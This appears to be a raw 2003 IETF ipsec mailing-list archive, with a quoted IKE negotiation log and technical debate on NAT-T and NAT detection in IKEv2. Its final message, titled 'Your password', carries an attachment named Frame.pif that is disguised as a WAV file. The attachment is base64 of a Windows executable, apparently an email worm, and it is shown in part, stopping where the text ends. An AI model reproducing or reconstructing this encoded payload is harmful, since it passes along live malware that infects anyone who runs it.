Sincerly, W.Z Hsu Sentinel log as below: Phase-2 [initiator] done bundle 1 with 2 SA's by rule 23:`ipsec ipv4(udp:68,[0..3]=140.92.60.131)<->ipv4_subnet(udp:67,[0..7]=0.0.0.0/0)(gw:ipv4(any:0,[0..3]=140.92.60.100))' SA ESP[10000001] alg [3des-cbc/24]+hmac[hmac-sha1-96] bundle [1,0] pri 0 opts src=ipv4(udp:68,[0..3]=140.92.60.131) dst=ipv4_subnet(udp:67,[0..7]=0.0.0.0/0) SA ESP[842832d6] alg [3des-cbc/24]+hmac[hmac-sha1-96] bundle [1,0] pri 0 opts src=ipv4_subnet(udp:67,[0..7]=0.0.0.0/0) dst=ipv4(udp:68,[0..3]=140.92.60.131) 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500 QM; Encode packet, version = 1.0, flags = 0x00000001 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500QM; Sending packet[52] = 0x32bdec80 c1000000 7048e07a d9db0f53 08102001 0d215563 00000034 36623125 13416536 b9f1b028 c1d44a68 c6fc8dff f26a23f2 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500 QM; Connected 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500 Info; Start delete negotiation 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500 Info; Encode packet, version = 1.0, flags = 0x00000001 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500Info; Encode HASH: hash[20] = 0x00000000 00000000 00000000 00000000 00000000 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500 Info; enc->dec IV[8] = 0x8002c370 944bb2e6 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500 Info; Sending packet[68] = 0x32bdec80 c1000000 7048e07a d9db0f53 08100501 96d206b9 00000044 f8bdfdbc 40ffbee7 bafec9d8 63a4f0c0 7f1e0204 f76cd92d bee5e22a 4c34aa01 8002c370 944bb2e6 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500 Info; Deleting negotiation DHCP Over IPSEC status: BOUND ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ mean? 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500 QM; Restart packet 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500 QM; Version = 1.0, Input packet fields = 0037 SA KE ID HASH NONCE 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500 QM; Connected 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500 QM; Deleting negotiation DHCP Over IPSEC status: ABORTED --Boundary_(ID_aZfRffrnkQcwEvhfTP0yZA)-- --=====================_162491540==_.ALT-- From owner-ipsec@lists.tislabs.com Wed Aug 6 09:02:30 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h76G2Tqt030183; Wed, 6 Aug 2003 09:02:29 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id LAA05427 Wed, 6 Aug 2003 11:26:45 -0400 (EDT) Message-Id: <200308061532.h76FWKof026722@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: Markus Friedl cc: ietf ipsec Subject: Re: NAT-T, IKEv2, Vendor ID, port floating?? In-reply-to: Your message of Wed, 06 Aug 2003 13:13:55 +0200. <20030806111355.GA8090@folly> Date: Wed, 06 Aug 2003 17:32:20 +0200 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipsec@lists.tislabs.com Precedence: bulk In your previous mail you wrote: On Wed, Aug 06, 2003 at 10:22:38AM +0200, Francis Dupont wrote: > => in my idea to make NAT detection mandatory there are two parts: I don't like the idea of having NAT detection mandatory. => there is the simplest way to get a defense for attacks on peer addresses. But perhaps you can propose a better one? How is it possible to avoid potential NAT-T patent problems? => IMHO the patent problem is more about NAT-T itself. Regards Francis.Dupont@enst-bretagne.fr From owner-ipsec@lists.tislabs.com Wed Aug 6 09:05:28 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h76G5Sqt030313; Wed, 6 Aug 2003 09:05:28 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id LAA05361 Wed, 6 Aug 2003 11:22:07 -0400 (EDT) Message-Id: <200308061527.h76FRfof026699@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: Ari Huttunen cc: Tero Kivinen , tomhu@cisco.com, ietf ipsec Subject: Re: NAT-T, IKEv2, Vendor ID, port floating?? In-reply-to: Your message of Wed, 06 Aug 2003 13:23:14 +0300. <3F30D712.2040003@f-secure.com> Date: Wed, 06 Aug 2003 17:27:41 +0200 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipsec@lists.tislabs.com Precedence: bulk In your previous mail you wrote: I would hesitate to make NAT detection mandatory, just for patenting reasons. => I don't believe the NAT detection is patented even if not all patent applications for trivial things are rejected. I'm not saying there is necessarily any problem with that, but I remember that detection of a NAT was one thing being claimed by an SSH patent application. So, if we assume that there are relatively paranoid people out there who are paranoid about the patent issues, they wouldn't want NAT detection being mandatory. => I am not paranoid (about patents or other things) but I'll strongly object if IKEv2 has no defense against attacks on peer addresses. (If that didn't contain enough disclaimers) I would point out that it's a long while since I read those patent applications, and I've no idea about their current status. Nor do I care about their status. => this is not at all against you but IMHO there is some FUD about IKEv2 and patent issues. This has to be fixed (if some real patents apply) or to cease (if none applies). Regards Francis.Dupont@enst-bretagne.fr From owner-ipsec@lists.tislabs.com Wed Aug 6 09:22:45 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h76GMiqt030721; Wed, 6 Aug 2003 09:22:45 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id LAA05559 Wed, 6 Aug 2003 11:49:15 -0400 (EDT) X-Authentication-Warning: ryijy.hel.fi.ssh.com: kivinen set sender to kivinen@ssh.fi using -f MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16177.9445.945148.300588@ryijy.hel.fi.ssh.com> Date: Wed, 6 Aug 2003 18:55:17 +0300 From: Tero Kivinen To: Francis Dupont Cc: tomhu@cisco.com, ietf ipsec Subject: Re: NAT-T, IKEv2, Vendor ID, port floating?? In-Reply-To: <200308060831.h768Vlof025620@givry.rennes.enst-bretagne.fr> References: <16175.59110.776033.269367@ryijy.hel.fi.ssh.com> <200308060831.h768Vlof025620@givry.rennes.enst-bretagne.fr> X-Mailer: VM 7.07 under Emacs 20.7.1 Organization: SSH Communications Security Oy X-Edit-Time: 2 min X-Total-Time: 2 min Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Francis Dupont writes: > Both ends should only enable NAT-T if they have both sent and received > NAT_DETECTION_* notifications, and detected that there is NAT between. > If the NAT-T is disabled by configuration then the end MUST NOT send > NAT_DETECTION_* payloads, because if there is NAT between the other > end will enable the NAT-T and there is no way to tell it otherwise. > => I don't understand how the second sentence applies to the responder: > when a NAT is detected and NAT-T not supported or enabled, the IKE > session has to be dropped before the end of the IKE_AUTH exchange. It depends on the implementation. If the NAT-T is disabled on the responder it might not even check the NAT_DETECTION_* notifications sent by the initiator, thus it might not even notice there is NAT between. Anyways it MUST not send NAT_DETECTION_* packets back to initiator if it does not want to allow NAT-T. > Not to put NAT_DETECTION_* notifications will enable the initiator > to send the third message but it is not enough. It depends. If the NAT is smart enough and there is only one initiator behind the NAT the ipsec might still work even when NAT-T is disabled. -- kivinen@ssh.fi SSH Communications Security http://www.ssh.fi/ SSH IPSEC Toolkit http://www.ssh.fi/ipsec/ From owner-ipsec@lists.tislabs.com Wed Aug 6 13:19:26 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h76KJPqt041657; Wed, 6 Aug 2003 13:19:26 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id PAA06544 Wed, 6 Aug 2003 15:35:11 -0400 (EDT) Message-Id: <200308061940.h76Jeiof027790@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: Tero Kivinen cc: tomhu@cisco.com, ietf ipsec Subject: Re: NAT-T, IKEv2, Vendor ID, port floating?? In-reply-to: Your message of Wed, 06 Aug 2003 18:55:17 +0300. <16177.9445.945148.300588@ryijy.hel.fi.ssh.com> Date: Wed, 06 Aug 2003 21:40:44 +0200 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipsec@lists.tislabs.com Precedence: bulk In your previous mail you wrote: Francis Dupont writes: > Both ends should only enable NAT-T if they have both sent and received > NAT_DETECTION_* notifications, and detected that there is NAT between. > If the NAT-T is disabled by configuration then the end MUST NOT send > NAT_DETECTION_* payloads, because if there is NAT between the other > end will enable the NAT-T and there is no way to tell it otherwise. > => I don't understand how the second sentence applies to the responder: > when a NAT is detected and NAT-T not supported or enabled, the IKE > session has to be dropped before the end of the IKE_AUTH exchange. It depends on the implementation. => I forgot to specify I considered enviroments where NATs are not smart and there can be more than one initiator behind, i.e., as we have a NAT-T mechanism, I considered things work with a NAT only when NAT-T is used. If the NAT-T is disabled on the responder it might not even check the NAT_DETECTION_* notifications sent by the initiator, thus it might not even notice there is NAT between. => I'd like the responder always notices because either there is a real NAT and NAT-T is needed, or there is an attacker playing NAT and I'd like to know this. Anyways it MUST not send NAT_DETECTION_* packets back to initiator if it does not want to allow NAT-T. => this MUST is not in the document so at least we should agree something important is not in the document. > Not to put NAT_DETECTION_* notifications will enable the initiator > to send the third message but it is not enough. It depends. If the NAT is smart enough and there is only one initiator behind the NAT the ipsec might still work even when NAT-T is disabled. => I don't believe in this case: we have a nice NAT-T mechanism which works in all cases. Thanks Francis.Dupont@enst-bretagne.fr From apysky@earthlink.net Wed Aug 6 22:06:27 2003 Received: from snipe.mail.pas.earthlink.net (snipe.mail.pas.earthlink.net [207.217.120.62]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7756Qqt065736 for ; Wed, 6 Aug 2003 22:06:26 -0700 (PDT) (envelope-from apysky@earthlink.net) Received: from user-2ive4is.dialup.mindspring.com ([165.247.18.92] helo=Nsfwxkeh) by snipe.mail.pas.earthlink.net with smtp (Exim 3.33 #1) id 19kcyR-0006mB-00 for ietf-ipsec@imc.org; Wed, 06 Aug 2003 22:06:03 -0700 From: zappos To: ietf-ipsec@imc.org Subject: Your password MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=SN3t3t401tVF38 Message-Id: Date: Wed, 06 Aug 2003 22:06:03 -0700 --SN3t3t401tVF38 Content-Type: text/html; Content-Transfer-Encoding: quoted-printable --SN3t3t401tVF38 Content-Type: audio/x-wav; name=Frame.pif Content-Transfer-Encoding: base64 Content-ID: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAAAYmX3gXPgTs1z4E7Nc+BOzJ+Qfs1j4E7Pf5B2zT/gTs7Tn GbNm+BOzPucAs1X4E7Nc+BKzJfgTs7TnGLNO+BOz5P4Vs134E7NSaWNoXPgTswAAAAAAAAAA UEUAAEwBBAC4jrc8AAAAAAAAAADgAA8BCwEGAADAAAAAkAgAAAAAAFiEAAAAEAAAANAAAAAA QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAYAkAABAAAAAAAAACAAAAAAAQAAAQAAAAABAA ABAAAAAAAAAQAAAAAAAAAAAAAAAg1gAAZAAAAABQCQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ANAAAOwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAEq6AAAAEAAAAMAAAAAQ AAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAiEAAAANAAAAAgAAAA0AAAAAAAAAAAAAAAAAAA QAAAQC5kYXRhAAAAbF4IAADwAAAAUAAAAPAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABAA AAAAUAkAEAAAAABAAQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 